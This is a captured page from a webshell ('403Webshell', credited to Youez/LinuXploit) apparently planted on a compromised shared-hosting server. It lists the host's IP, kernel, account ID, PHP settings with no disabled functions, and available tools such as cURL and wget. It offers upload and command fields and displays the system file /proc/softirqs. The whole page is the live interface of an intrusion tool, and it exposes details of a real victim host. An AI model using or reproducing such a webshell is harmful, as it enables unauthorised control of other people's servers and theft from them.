403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:          1          0          0          0          0          0          0          0          0          0          0          0          0          0          3          3          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1126452189 1126460201 1126434660 1126436920 1126440110 1126438002 1126439954 1126438624 1126437691 1126438025 1126437480 1126439976 1126438490 1126440510 1126433180 1126435964 1126460099 1126458237 1126447503 1126443298 1126444989 1126446160 1126446988 1126446658 1126444835 1126447984 1126446620 1126444443 1126446411 1126447686 1126444373 1126441114
      NET_TX:   16398660      28142      38751      39079      38182      39285      38338      38371      39273      38781      38617      38694      39170      39793      39592      39204      30265      27319      35725      35852      36407      35997     937074      35666      35720      37535      36364      36271      35483      36812      36375      37142
      NET_RX: 3340026635 1489592444  746339410  744273637  747970299  745623308  745954008  744111536  746509725  744999862  746585786  742855222  747729403  743726010  748601434  745697907 1707549422 1561870106  712829592  712324771  713176187  715699107  710539679  711989760  712531954  712120423  710173019  710199892  711817570  711025198  713275317  712168302
       BLOCK:   38278193   96266452  589039388  594547657  593701813  598607304  593264799  601048585  592202628  594834229  589660668  592134748  595483858  597247111  593713740  597920156   57195610  119876867  566167554  569459883  567857529  571010951  569908217  573374491  563696190  568067018  561770210  564041562  569007018  569783707  567017122  568829882
BLOCK_IOPOLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:  754986050          0          1          2          0          0          0          0          0          0          1          0          0          0         58         50          3          0          0          0          0          0          0          0          1          0          0          0          0          0          1          0
       SCHED:  497670810  522453297  676648836  684117095  675241528  678066563  672720840  680013560  680130621  683299673  683497376  685170553  677243371  679884954  676264502  682427571  524385495  584248990  732449315  732571620  727288739  730121145  729873971  729519344  735021344  737806948  731630184  735625675  731732356  734440236  731872349  732136245
     HRTIMER:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU: 1888944000 1922093656 1788649061 1774834522 1788900317 1781802090 1794288185 1776478664 1786748938 1781072888 1780772910 1773308366 1793097796 1781913370 1793099989 1779172280 1919444974 1773438835 1647225629 1650528594 1653562017 1650006003 1648473068 1651241529 1646175046 1645077711 1650645000 1642523266 1651097862 1647124381 1651699708 1652829462

Youez - 2016 - github.com/yon3zu
LinuXploit